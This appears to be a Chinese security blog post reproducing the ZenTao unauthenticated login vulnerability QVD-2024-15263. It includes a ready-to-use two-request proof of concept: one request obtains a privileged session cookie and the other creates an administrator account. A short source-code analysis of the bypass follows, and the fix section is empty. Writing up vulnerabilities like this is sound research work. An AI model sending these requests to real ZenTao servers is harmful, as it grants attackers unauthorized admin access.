禅道 未授权登录复现(QVD-2024-15263)
侵权声明
本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料,我们满怀敬意地承认该内容的版权归原作者所有。
如果您是版权持有人,并且认为您的作品被侵犯,请通过以下方式与我们联系: [[email protected]]。我们将在确认后的合理时间内采取适当措施,包括删除相关内容。
基本信息
版本
poc
获取cookie
GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest HTTP/1.1
Host:demo.com
使用cookie,创建用户
POST /api.php/v1/users HTTP/1.1
Host:demo.com
Cookie: zentaosid=hfoq8srqabdgo0pq4ukcb28gob; lang=zh-cn; device=desktop; theme=default
Content-Length: 77
{"account": "0koo", "password": "Candao1", "realname": "0koo", "group":"1"}
分析
没有什么实例只能通过poc反推加别人的帖子进行分析了。
首先看到poc所调用的saveXmindImport()
函数。跟进deny()
函数
可以发现$this->session->set('user', $user);
将$user
设置成超级变量的成员值,即对当前的session
添加了一个user
属性。
继续跟进set()
函数
就是的$_SESSION
的user变量赋值。
获取cookie
接下来分析该如如何能够调用到saveXmindImport()
函数。
首先实例化一个testcase
对象,函数如下。
可以看到这里有一个判断,如果两个条件都满足本次初始化就结束了,就不会执行后面的语句了。跟进isAjaxRequest()
函数。
可以看到如果请求中存在HTTP_X_REQUESTED_WITH
参数并且该参数的值为XMLHttpRequest
就会返回true
使用cookie创建用户
通过poc找到文件位置。
其中如果没有gendar
参数会直接return退出,并且该参数还是指定权限大小的,如果没有realname
参数会报错退出,都不会生成用户
复现
1、获取cookie
2、创建用户
3、登录
总结
第一次分析逻辑漏洞,难度还是有的。感觉还是太急躁了,仔细一点说不定也能看到deny()
函数。
不过还是学到了可以通过在全局参数$_SESSION
中加入特定参数实现越权。
修复
参考
【漏洞复现】禅道——未授权登入(QVD-2024-15263)_禅道漏洞复现-CSDN博客
QVD-2024-15263 禅道项目管理系统身份认证绕过漏洞 - 先知社区 (aliyun.com)
免责声明
本博客所提供的技术知识和信息仅旨在教育和分享网络安全最佳实践,促进网络安全意识的提升。作者严禁将这些技术和信息用于任何非法或不道德的目的。
使用本博客内容而导致的任何违法行为或后果,作者不承担任何法律责任。所有读者在使用本博客的信息时,应自行承担风险,并确保遵守当地法律法规。
我们鼓励所有读者合法地使用所提供的信息和技术,致力于维护安全和负责任的网络环境。
感谢您的理解与支持。